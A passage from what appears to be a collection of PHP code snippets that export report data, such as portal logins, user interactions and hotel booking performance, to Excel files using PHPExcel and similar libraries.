file_get_contents('queries/cumulativecollegerpt.txt');}", "function call_to_export($export){\n\t$objPHPExcel = new PHPExcel();\n\n\t// Set document properties\n\t$objPHPExcel->getProperties()\n\t\t->setCreator(\"QPP REPORTS\")\n\t\t->setLastModifiedBy(\"QPP REPORTS\")\n\t\t->setTitle(\"Office 2007 XLSX Document\")\n\t\t->setSubject(\"Office 2007 XLSX Document\")\n\t\t->setDescription(\"QPP REPORTS\")\n\t\t->setKeywords(\"office 2007 openxml php\")\n\t\t->setCategory(\"Reports\");\n\n\t$styleArray = array(\n\t\t'font' => array(\n\t\t\t'bold' => true,\n\t\t\t'color' => array('rgb' => '1A6FCD'),\n\t\t\t'size' => 10,\n\t\t\t'name' => 'arial',\n\t\t\t'underline' => 'single',\n\t\t)\n\t);\n\t\n\tif(isset($export['users_logins'])){\n\t\t$objPHPExcel->setActiveSheetIndex(0);\n\t\t$sheet_logins = $objPHPExcel->getActiveSheet(0);\n\t\t\n\t\t// set worksheet title\n\t\t$sheet_logins->setTitle($export['users_logins']['sheet1']['title']);\n\t\t\n\t\t// set report title\n\t\t$sheet_logins->getStyle('A1:z1')->getFont()->setBold(true)->setSize(16);\n\t\t$sheet_logins->mergeCells('A1:I1');\n\t\t$sheet_logins->SetCellValue('A1',$export['users_logins']['sheet1']['report_title']);\n\t\t$sheet_logins->getStyle('A2:z2')->getFont()->setBold(true)->setSize(12);\n\t\t$sheet_logins->mergeCells('A2:I2');\n\t\t$sheet_logins->SetCellValue('A2',$export['users_logins']['sheet1']['date_range']);\n\t\t\n\t\t// set column widths\n\t\t$sheet_logins->getColumnDimension('A')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('B')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('C')->setWidth(10);\n\t\t$sheet_logins->getColumnDimension('D')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('E')->setWidth(35);\n\t\t$sheet_logins->getColumnDimension('F')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('G')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('H')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('I')->setWidth(25);\n\t\t$sheet_logins->getColumnDimension('J')->setWidth(15);\n\t\t$sheet_logins->getColumnDimension('K')->setWidth(25);\n\t\t\n\t\t// set vertical alignment\n\t\t$sheet_logins->getDefaultStyle()->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_TOP);\n\t\t\n\t\t// set column horizontal alignment\n\t\t$sheet_logins->getStyle('K4:K999')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\n\t\t// set wrap text\n\t\t$sheet_logins->getStyle('C3:K999')->getAlignment()->setWrapText(true); \n\t\t\n\t\t// set column headers\n\t\tif(isset($export['users_logins']['sheet1']['header'])){\n\t\t\t$col = 0;\n\t\t\t$row = 3; //start from row 3\n\t\t\t$sheet_logins->getStyle('A3:Z3')->getFont()->setBold(true);\n\t\t\tforeach($export['users_logins']['sheet1']['header'] as $key){\n\t\t\t\t$sheet_logins->setCellValueByColumnAndRow($col, $row, $key);\n\t\t\t\t$col++;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// print rows\n\t\tif(isset($export['users_logins']['sheet1']['rows'])){\n\t\t\t$row = 4;\n\t\t\tforeach($export['users_logins']['sheet1']['rows'] as $rows){\n\t\t\t\t$col = 0;\n\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t$sheet_logins->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t$col++;\t\n\t\t\t\t}\n\t\t\t\t$row++;\n\t\t\t}\n\t\t}\t\t\n\t\t\n\t\t// new worksheet for portal login totals\n\t\t$objPHPExcel->createSheet();\n\t\t$objPHPExcel->setActiveSheetIndex(1);\t\t\t\n\t\t$sheet_logins_total = $objPHPExcel->getActiveSheet(1);\n\t\t\n\t\t// set worksheet title\n\t\t$sheet_logins_total->setTitle($export['users_logins']['sheet2']['title']);\n\t\t\n\t\t// set report title\n\t\t$sheet_logins_total->getStyle('A1:z1')->getFont()->setBold(true)->setSize(16);\n\t\t$sheet_logins_total->mergeCells('A1:I1');\n\t\t$sheet_logins_total->SetCellValue('A1',$export['users_logins']['sheet2']['report_title']);\n\t\t$sheet_logins_total->getStyle('A2:z2')->getFont()->setBold(true)->setSize(12);\n\t\t$sheet_logins_total->mergeCells('A2:I2');\n\t\t$sheet_logins_total->SetCellValue('A2',$export['users_logins']['sheet2']['date_range']);\n\t\t\n\t\t// set column widths\n\t\t$sheet_logins_total->getColumnDimension('A')->setWidth(35);\n\t\t$sheet_logins_total->getColumnDimension('B')->setWidth(25);\n\t\t\n\t\t// set vertical alignment\n\t\t$sheet_logins_total->getDefaultStyle()->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_TOP);\n\t\t\n\t\t// set column headers\n\t\tif(isset($export['users_logins']['sheet2']['header'])){\n\t\t\t$col = 0;\n\t\t\t$row = 3; //start from row 3\n\t\t\t$sheet_logins_total->getStyle('A3:Z3')->getFont()->setBold(true);\n\t\t\tforeach($export['users_logins']['sheet2']['header'] as $key){\n\t\t\t\t$sheet_logins_total->setCellValueByColumnAndRow($col, $row, $key);\n\t\t\t\t$col++;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// print rows\n\t\tif(isset($export['users_logins']['sheet2']['rows'])){\n\t\t\t$row = 4;\n\t\t\tforeach($export['users_logins']['sheet2']['rows'] as $rows){\n\t\t\t\t$col = 0;\n\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t$sheet_logins_total->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t$col++;\t\n\t\t\t\t}\n\t\t\t\t$row++;\n\t\t\t}\n\n\t\t\tif(isset($export['users_logins']['sheet2']['rows_total'])){\n\t\t\t\t$row = $row+1;\n\t\t\t\tforeach($export['users_logins']['sheet2']['rows_total'] as $rows){\n\t\t\t\t\t$col = 0;\n\t\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t\t$sheet_logins_total->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t\t$col++;\n\t\t\t\t\t}\n\t\t\t\t\t$row++;\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t}\n\t}\n\t\n\tif(isset($export['users_interactions'])){\n\t\t$objPHPExcel->setActiveSheetIndex(0);\n\t\t$sheet_interactions = $objPHPExcel->getActiveSheet(0);\n\t\t\n\t\t// set worksheet title\n\t\t$sheet_interactions->setTitle($export['users_interactions']['sheet1']['title']);\n\t\t\n\t\t// set report title\n\t\t$sheet_interactions->getStyle('A1:z1')->getFont()->setBold(true)->setSize(16);\n\t\t$sheet_interactions->mergeCells('A1:I1');\n\t\t$sheet_interactions->SetCellValue('A1',$export['users_interactions']['sheet1']['report_title']);\n\t\t$sheet_interactions->getStyle('A2:z2')->getFont()->setBold(true)->setSize(12);\n\t\t$sheet_interactions->mergeCells('A2:I2');\n\t\t$sheet_interactions->SetCellValue('A2',$export['users_interactions']['sheet1']['date_range']);\n\t\t\n\t\t// set column widths\n\t\t$sheet_interactions->getColumnDimension('A')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('B')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('C')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('D')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('E')->setWidth(35);\n\t\t$sheet_interactions->getColumnDimension('F')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('G')->setWidth(35);\n\t\t$sheet_interactions->getColumnDimension('H')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('I')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('J')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('K')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('L')->setWidth(25);\n\t\t$sheet_interactions->getColumnDimension('M')->setWidth(25);\n\t\t\n\t\t// set vertical alignment\n\t\t$sheet_interactions->getDefaultStyle()->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_TOP);\n\t\t\n\t\t// set column horizontal alignment\n\t\t$sheet_interactions->getStyle('M4:M999')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\n\t\t// set wrap text\n\t\t$sheet_interactions->getStyle('C3:M999')->getAlignment()->setWrapText(true); \n\t\t\n\t\t// set column headers\n\t\tif(isset($export['users_interactions']['sheet1']['header'])){\n\t\t\t$col = 0;\n\t\t\t$row = 3; //start from row 3\n\t\t\t$sheet_interactions->getStyle('A3:Z3')->getFont()->setBold(true);\n\t\t\tforeach($export['users_interactions']['sheet1']['header'] as $key){\n\t\t\t\t$sheet_interactions->setCellValueByColumnAndRow($col, $row, $key);\n\t\t\t\t$col++;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// print rows\n\t\tif(isset($export['users_interactions']['sheet1']['rows'])){\n\t\t\t$row = 4;\n\t\t\tforeach($export['users_interactions']['sheet1']['rows'] as $rows){\n\t\t\t\t$col = 0;\n\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t$sheet_interactions->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t$col++;\t\n\t\t\t\t}\n\t\t\t\t$row++;\n\t\t\t}\n\t\t}\t\t\n\t\t\n\t\t// new worksheet for portal login totals\n\t\t$objPHPExcel->createSheet();\n\t\t$objPHPExcel->setActiveSheetIndex(1);\t\t\t\n\t\t$sheet_interactions_total = $objPHPExcel->getActiveSheet(1);\n\t\t\n\t\t// set worksheet title\n\t\t$sheet_interactions_total->setTitle($export['users_interactions']['sheet2']['title']);\n\t\t\n\t\t// set report title\n\t\t$sheet_interactions_total->getStyle('A1:z1')->getFont()->setBold(true)->setSize(16);\n\t\t$sheet_interactions_total->mergeCells('A1:I1');\n\t\t$sheet_interactions_total->SetCellValue('A1',$export['users_interactions']['sheet2']['report_title']);\n\t\t$sheet_interactions_total->getStyle('A2:z2')->getFont()->setBold(true)->setSize(12);\n\t\t$sheet_interactions_total->mergeCells('A2:I2');\n\t\t$sheet_interactions_total->SetCellValue('A2',$export['users_interactions']['sheet2']['date_range']);\n\t\t\n\t\t// set column widths\n\t\t$sheet_interactions_total->getColumnDimension('A')->setWidth(35);\n\t\t$sheet_interactions_total->getColumnDimension('B')->setWidth(25);\n\t\t$sheet_interactions_total->getColumnDimension('C')->setWidth(25);\n\t\t\n\t\t// set vertical alignment\n\t\t$sheet_interactions_total->getDefaultStyle()->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_TOP);\n\t\t\n\t\t// set column headers\n\t\tif(isset($export['users_interactions']['sheet2']['header'])){\n\t\t\t$col = 0;\n\t\t\t$row = 3; //start from row 3\n\t\t\t$sheet_interactions_total->getStyle('A3:Z3')->getFont()->setBold(true);\n\t\t\tforeach($export['users_interactions']['sheet2']['header'] as $key){\n\t\t\t\t$sheet_interactions_total->setCellValueByColumnAndRow($col, $row, $key);\n\t\t\t\t$col++;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// print rows\n\t\tif(isset($export['users_interactions']['sheet2']['rows'])){\n\t\t\t$row = 4;\n\t\t\tforeach($export['users_interactions']['sheet2']['rows'] as $rows){\n\t\t\t\t$col = 0;\n\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t$sheet_interactions_total->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t$col++;\t\n\t\t\t\t}\n\t\t\t\t$row++;\n\t\t\t}\n\n\t\t\tif(isset($export['users_interactions']['sheet2']['rows_total'])){\n\t\t\t\t$row = $row+1;\n\t\t\t\tforeach($export['users_interactions']['sheet2']['rows_total'] as $rows){\n\t\t\t\t\t$col = 0;\n\t\t\t\t\tforeach ($rows as $value){\n\t\t\t\t\t\t$sheet_interactions_total->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t\t$col++;\n\t\t\t\t\t}\n\t\t\t\t\t$row++;\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t}\n\t}\n\t\n\t$filename = isset($export['filename']) ? $export['filename'] . \".xlsx\" : \"qpp_portal_report_\" . date('m-d-Y_h-i') . \".xlsx\";\n\t\n\t$objPHPExcel->setActiveSheetIndex(0);\n\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"');\n\theader('Cache-Control: max-age=0');\n\n\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\tob_end_clean();\n\t$objWriter->save('php://output');\n\n\texit;\n}", "function summary($data){\n\t\tif($cm = get_record('course_modules','id',$data->cmid)){\n\t\t\t$modname = get_field('modules','name','id',$cm->module);\n\t\t\tif($name = get_field(\"$modname\",'name','id',$data->cmid)){\n\t\t\t\treturn $data->columname.' ('.$name.')';\n\t\t\t}\n\t\t}\t\t\n\t\t\n\t\treturn $data->columname;\n\t}", "function exportDataToExcel($table_details,$file_name,$worksheet_name)\n\n\t{\n\t// Creating a workbook\n\t$workbook = new Spreadsheet_Excel_Writer();\n\t\n\t// sending HTTP headers\n\t$workbook->send(\"$file_name\".'xls');\n\t\n\t// Creating a worksheet\n\t$worksheet =& $workbook->addWorksheet(\"'$worksheet_name'\");\n\t\n\t\n\t\tif ($table_details)\n\t\t\t{\n\t\t\t\t$colcount=0; //for setting the footer colspan\n\t\t\t\tforeach($table_details[0] as $key=>$value)\n\t\t\t\t\t{\n\t\t\t\t\t$worksheet->write(0,$colcount ,$key );\n\t\t\t\t\t$colcount++;\n\t\t\t\t\t}\n\t\t\t}\n\t\t\t$i=0;\n\t\t\t$cnt=count($table_details);\n\t\t\t\n\t\t\tfor($j=0; $j<$cnt; $j++)\n\t\t\t\t{\n\t\n\t\t\t\t$cell=0;\n\t\t\t\tforeach($table_details[$j] as $key=>$value)\n\t\t\t\t\t{\n\t\n\t\t\t\t\t$worksheet->write($j+1,$cell ,$value );\n\t\t\t\t\t$cell++;\n\t\t\t\t\t}\n\t\n\t\t\t\t}\n\t$workbook->close();\n\t}", "public function test()\n {\n\t\t$data = Session::get('exdata');\n $title = ['id', 'name', 'sex'];\n\n\n $spreadsheet = new Spreadsheet();\n $worksheet = $spreadsheet->getActiveSheet();\n //设置工作表标题名称\n $worksheet->setTitle('测试Excel');\n\n //表头\n //设置单元格内容\n foreach ($title as $key => $value) {\n $worksheet->setCellValueByColumnAndRow($key + 1, 1, $value);\n }\n\t\tLog::write($data, 'exdataT');\n $row = 2; //第二行开始\n foreach ($data as $item) {\n $column = 1;\n foreach ($item as $value) {\n $worksheet->setCellValueByColumnAndRow($column, $row, $value);\n $column++;\n }\n $row++;\n }\n\n # 保存为xlsx\n $filename = '测试Excel.xlsx';\n $writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n $writer->save($filename);\n \n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"');\n header('Cache-Control: max-age=0');\n $writer->save('php://output');\n\n }", "function hotels_tops(){\r\n $periode = $this->input->post('periode_Report');\r\n $getDate = explode(\" - \", $periode);\r\n $from_date = $getDate[0];\r\n $to_date = $getDate[1];\r\n $reportBy = $this->input->post('ReportBy');\r\n $hotel = $this->input->post('list_hotels');\r\n $hotels = '' ;\r\n \r\n if(!empty($hotel)){\r\n $hotels = $hotel ;\r\n }\r\n $reportHotels['hotels'] = $this->report_model->hotel_top($from_date, $to_date, $this->config->item('not_agents','agents'), $hotels);\r\n $reportHotels['hotels']['detail-agent'] = $this->report_model->HotelsBookingAgent($from_date, $to_date, $hotels, $this->config->item('not_agents','agents'));\r\n \r\n //echo $this->db->last_query();\r\n //echo '<pre>',print_r($reportHotels['hotels']);die();\r\n \r\n $this->excel->setActiveSheetIndex(0);\r\n\r\n //name the worksheet\r\n $this->excel->getActiveSheet()->setTitle($reportBy.' perfomance');\r\n\r\n $styleArray = array(\r\n 'borders' => array(\r\n 'allborders' => array(\r\n 'style' => PHPExcel_Style_Border::BORDER_THIN\r\n )\r\n )\r\n );\r\n\r\n $this->excel->getActiveSheet()->setCellValue('A1', $reportBy.'perfomance');\r\n $this->excel->getActiveSheet()->getStyle(\"A1\")->getFont()->setSize(20);\r\n \r\n \r\n \r\n $this->excel->getActiveSheet()->setCellValue('A3', 'Start Date History : '.$from_date);\r\n //$this->excel->getActiveSheet()->getStyle(\"A3\")->getFont()->setSize(12);\r\n $this->excel->getActiveSheet()->mergeCells('A3:C3');\r\n $this->excel->getActiveSheet()->getStyle('A3:C3')->getFont()->setBold(true);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A4', 'End Date History : '.$to_date);\r\n //$this->excel->getActiveSheet()->getStyle(\"A4\")->getFont()->setSize(12);\r\n $this->excel->getActiveSheet()->mergeCells('A4:C4');\r\n $this->excel->getActiveSheet()->getStyle('A4:C4')->getFont()->setBold(true);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A5', 'Hotel : '.$reportHotels['hotels'][0]['hotel']);\r\n //$this->excel->getActiveSheet()->getStyle(\"A3\")->getFont()->setSize(12);\r\n $this->excel->getActiveSheet()->mergeCells('A5:C5');\r\n $this->excel->getActiveSheet()->getStyle('A5:C5')->getFont()->setBold(true);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A6', 'City : '.$reportHotels['hotels'][0]['city']);\r\n //$this->excel->getActiveSheet()->getStyle(\"A4\")->getFont()->setSize(12);\r\n $this->excel->getActiveSheet()->mergeCells('A6:C6');\r\n $this->excel->getActiveSheet()->getStyle('A6:C6')->getFont()->setBold(true);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A7', 'Country : '.$reportHotels['hotels'][0]['country']);\r\n //$this->excel->getActiveSheet()->getStyle(\"A4\")->getFont()->setSize(12);\r\n $this->excel->getActiveSheet()->mergeCells('A7:C7');\r\n $this->excel->getActiveSheet()->getStyle('A7:C7')->getFont()->setBold(true);\r\n \r\n //set cell A1 content with some text\r\n $arrField = array('No', 'MG User ID', 'Agent Code', 'Agent Name', 'Check In', 'Check Out', 'Room', 'Night', 'Room Night', 'Point Promo', 'Jumlah Point') ;\r\n \r\n \r\n $arrCellsTitle = $this->excel->setValueHorizontal($arrField, 9, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n \r\n $i = 0;\r\n foreach($arrCellsTitle as $cells){\r\n $this->excel->getActiveSheet()->setCellValue($cells, $arrField[$i]);\r\n $i++;\r\n }\r\n \r\n //freeze row title\r\n $this->excel->getActiveSheet()->freezePane('A10');\r\n \r\n \r\n $no=1;\r\n $startNum = 10;\r\n //$startDetail = 8 ;\r\n //$startDetailUser = 11 ;\r\n foreach($reportHotels['hotels']['detail-agent'] as $row){\r\n $arrItem = array($no, $row['mg_user_id'],$row['kode_agent'], $row['AgentName'], $row['fromdate'], $row['todate'], $row['room'], $row['night'], $row['roomnight'], $row['point'],$row['point_promo']);\r\n $arrCellsItem = $this->excel->setValueHorizontal($arrItem, $startNum, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n \r\n $index = 0;\r\n foreach($arrCellsItem as $cellsItem){\r\n \r\n $this->excel->getActiveSheet()->setCellValue($cellsItem, $arrItem[$index]);\r\n $index++;\r\n \r\n // make border\r\n $this->excel->getActiveSheet()->getStyle($cellsItem)->applyFromArray($styleArray);\r\n $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1); \r\n }\r\n $startNum++;\r\n $no++;\r\n }\r\n \r\n \r\n //foreach ($reportHotels['hotels'] as $row) { \r\n // $arrItem = array($no, $row['hotel'],$row['city'], $row['country'], $row['jumlah']);\r\n // $arrCellsItem = $this->excel->setValueHorizontal($arrItem, $startNum, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n //\r\n ////make color\r\n //$this->excel->getActiveSheet()->getStyle(\"A\".$startNum.\":I\".$startNum)->applyFromArray(array(\"fill\" => array(\"type\" => PHPExcel_Style_Fill::FILL_SOLID, \"color\" => array( \"rgb\" => 'e5dcdc'))));\r\n // \r\n // $i = 0;\r\n // foreach($arrCellsItem as $cellsItem){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsItem, $arrItem[$i]);\r\n // $i++;\r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsItem)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1); \r\n // }\r\n // \r\n // $startNum = $startNum + 2;\r\n // \r\n // //set detail transaksi\r\n // /*Untuk title tulisan detail transaksi*/\r\n // $arrFieldDetails = array('List Agent') ;\r\n // \r\n // $arrCellsTitleDetails = $this->excel->setValueHorizontal($arrFieldDetails, $startDetail, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z) \r\n // \r\n // $d = 0 ;\r\n // foreach($arrCellsTitleDetails as $cellsDetails){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsDetails, $arrFieldDetails[$d]);\r\n // $d++;\r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsDetails)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // \r\n // \r\n // }\r\n // //$startDetail = $startNum + 1;\r\n // $startDetail = $startNum;\r\n // /*End Untuk title tulisan detail transaksi*/\r\n // \r\n // /*Untuk Data title detail transaksi yang ditampilkan*/\r\n // $arrFieldDetailsHeader = array('Kode Agent', 'Agent Name', 'Phone Agent', 'Hotel', 'Check Out') ;\r\n // $arrCellsTitleDetailsHeader = $this->excel->setValueHorizontal($arrFieldDetailsHeader, $startDetail, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z) \r\n // $e = 0 ;\r\n // foreach($arrCellsTitleDetailsHeader as $cellsDetailsheader){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsDetailsheader, $arrFieldDetailsHeader[$e]);\r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsDetailsheader)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // \r\n // //make the font become bold\r\n // $this->excel->getActiveSheet()->getStyle('A'.$startDetail.':I'.$startDetail)->getFont()->setBold(true);\r\n // \r\n // $e++; \r\n // }\r\n // $startDetail = $startNum + 1;\r\n // /*ENd Untuk Data title detail transaksi yang ditampilkan*/\r\n // \r\n // //Untuk loop detail transaksi user ;\r\n // \r\n // $setmulaiDetailsBooking = $startDetail;\r\n // //set isi detail booking transaksi\r\n // foreach($row['detail-agent'] as $rowsDetails){\r\n // \r\n // \r\n // $arrItemDetailsBookingTransaksi = array($rowsDetails['kode_agent'],$rowsDetails['name'],$rowsDetails['phone'],$rowsDetails['hotel'], $rowsDetails['todate']);\r\n // \r\n // $arrCellsItemDetailsBookingTransaksi = $this->excel->setValueHorizontal($arrItemDetailsBookingTransaksi, $setmulaiDetailsBooking, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n // \r\n // $a = 0;\r\n // foreach($arrCellsItemDetailsBookingTransaksi as $cellsItemDetailsBookings){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsItemDetailsBookings, $arrItemDetailsBookingTransaksi[$a]);\r\n // \r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsItemDetailsBookings)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // \r\n // //make the font become bold\r\n // $this->excel->getActiveSheet()->getStyle('A'.$setmulaiDetailsBooking.':I'.$setmulaiDetailsBooking)->getFont()->setBold(true);\r\n // \r\n // $a++;\r\n // }\r\n // \r\n // $starttitleusers = $setmulaiDetailsBooking + 1;\r\n // \r\n // /*Untuk Data title detail transaksi yang ditampilkan*/\r\n // $arrFieldUserHeader = array('MG User ID', 'Name', 'Email', 'Room ', 'Night', 'Room Night', 'Point Promo', 'Check OUt') ;\r\n // $arrCellsTitleUserHeader = $this->excel->setValueHorizontal($arrFieldUserHeader, $starttitleusers, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z) \r\n // $tus = 0 ;\r\n // foreach($arrCellsTitleUserHeader as $cellsUsersheader){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsUsersheader, $arrFieldUserHeader[$tus]);\r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsUsersheader)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // \r\n // //make the font become bold\r\n // //$this->excel->getActiveSheet()->getStyle('A'.$starttitleusers.':I'.$starttitleusers)->getFont()->setBold(true);\r\n // \r\n // $tus++; \r\n // }\r\n // $starttitleusers = $starttitleusers;\r\n // /*ENd Untuk Data title detail transaksi yang ditampilkan*/\r\n // \r\n // \r\n // \r\n // //$starttitleusers = $setmulaiDetailsBooking + 1;\r\n // //foreach($rowsDetails['detail-user'] as $users){\r\n // // $arrItemDetailsBookingTransaksiUsers = array($users['mg_user_id'],$users['name'],$users['email'],$users['room'],$users['roomnight'],$users['point_promo']);\r\n // // $arrCellsItemDetailsBookingTransaksiUsers = $this->excel->setValueHorizontal($arrItemDetailsBookingTransaksiUsers, $startlistUser, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n // // \r\n // // $def = 0 ;\r\n // // foreach($arrCellsItemDetailsBookingTransaksiUsers as $cellsUsers){\r\n // // \r\n // // $this->excel->getActiveSheet()->setCellValue($cellsUsers, $arrItemDetailsBookingTransaksiUsers[$def]);\r\n // // \r\n // // // make border\r\n // // $this->excel->getActiveSheet()->getStyle($cellsUsers)->applyFromArray($styleArray);\r\n // // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // // \r\n // // //make the font become bold\r\n // // //$this->excel->getActiveSheet()->getStyle('A'.$startlistUser.':I'.$startlistUser)->getFont()->setBold(true);\r\n // // \r\n // // $def++; \r\n // // }\r\n // // \r\n // // $starttitleusers++;\r\n // //}\r\n // \r\n // $startlistUser = $starttitleusers + 1;\r\n // foreach($rowsDetails['detail-user'] as $users){\r\n // $arrItemDetailsBookingTransaksiUsers = array($users['mg_user_id'],$users['name'],$users['email'],$users['room'],$users['night'],$users['roomnight'],$users['point_promo'],$users['todate']);\r\n // $arrCellsItemDetailsBookingTransaksiUsers = $this->excel->setValueHorizontal($arrItemDetailsBookingTransaksiUsers, $startlistUser, 66); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n // \r\n // $def = 0 ;\r\n // foreach($arrCellsItemDetailsBookingTransaksiUsers as $cellsUsers){\r\n // \r\n // $this->excel->getActiveSheet()->setCellValue($cellsUsers, $arrItemDetailsBookingTransaksiUsers[$def]);\r\n // \r\n // // make border\r\n // $this->excel->getActiveSheet()->getStyle($cellsUsers)->applyFromArray($styleArray);\r\n // $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n // \r\n // //make the font become bold\r\n // //$this->excel->getActiveSheet()->getStyle('A'.$startlistUser.':I'.$startlistUser)->getFont()->setBold(true);\r\n // \r\n // $def++; \r\n // }\r\n // \r\n // $startlistUser++;\r\n // }\r\n // \r\n // $setmulaiDetailsBooking = $startlistUser;\r\n // \r\n // \r\n // }\r\n // //End loop detail transaksi user ;\r\n // \r\n // \r\n // $startNum = ($startNum + 1 ) + count($row['detail-agent']) ;\r\n // //$startDetail = $startNum + 2 ;\r\n // //$startDetailUser = $setmulaiDetailsBooking + 1 ;\r\n // $no++;\r\n //}\r\n \r\n //make auto size \r\n for($col = 'A'; $col !== 'K'; $col++) {\r\n $this->excel->getActiveSheet()->getColumnDimension($col)->setAutoSize(true);\r\n } \r\n \r\n //make border\r\n $this->excel->getActiveSheet()->getStyle('A9:K9')->applyFromArray($styleArray);\r\n //make the font become bold\r\n $this->excel->getActiveSheet()->getStyle('A9:K9')->getFont()->setBold(true);\r\n \r\n \r\n //make color\r\n $this->excel->getActiveSheet()->getStyle(\"A9:K9\")->applyFromArray(array(\"fill\" => array(\"type\" => PHPExcel_Style_Fill::FILL_SOLID, \"color\" => array( \"rgb\" => '66CCFF'))));\r\n \r\n //change the font size\r\n //$this->excel->getActiveSheet()->getStyle()->getFont()->setSize(10);\r\n\r\n //make the font become bold\r\n $this->excel->getActiveSheet()->getStyle('A1:K1')->getFont()->setBold(true);\r\n //set row height\r\n $this->excel->getActiveSheet()->getRowDimension('1')->setRowHeight(30);\r\n\r\n //merge cell\r\n $this->excel->getActiveSheet()->mergeCells('A1:K1');\r\n\r\n //set aligment to center for that merged cell \r\n $this->excel->getActiveSheet()->getStyle('A1:K1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\r\n $this->excel->getActiveSheet()->getStyle('A1:K1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\r\n \r\n $filename = $reportBy.'-Performance'.$from_date.'-'.$to_date.'.xls'; //save our workbook as this file name\r\n header('Content-Type: application/vnd.ms-excel'); //mime type\r\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"'); //tell browser what's the file name\r\n header('Cache-Control: max-age=0'); //no cache\r\n \r\n //save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\r\n //if you want to save it as .XLSX Excel 2007 format\r\n $objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5'); \r\n //force user to download the Excel file without writing it to server's HD\r\n $objWriter->save('php://output');\r\n }", "public function index(){\n $data = $this->Excel_model->get_stocks();\n \n \n $template = 'Myexcel.csv';\n //set absolute path to directory with template files\n $templateDir = 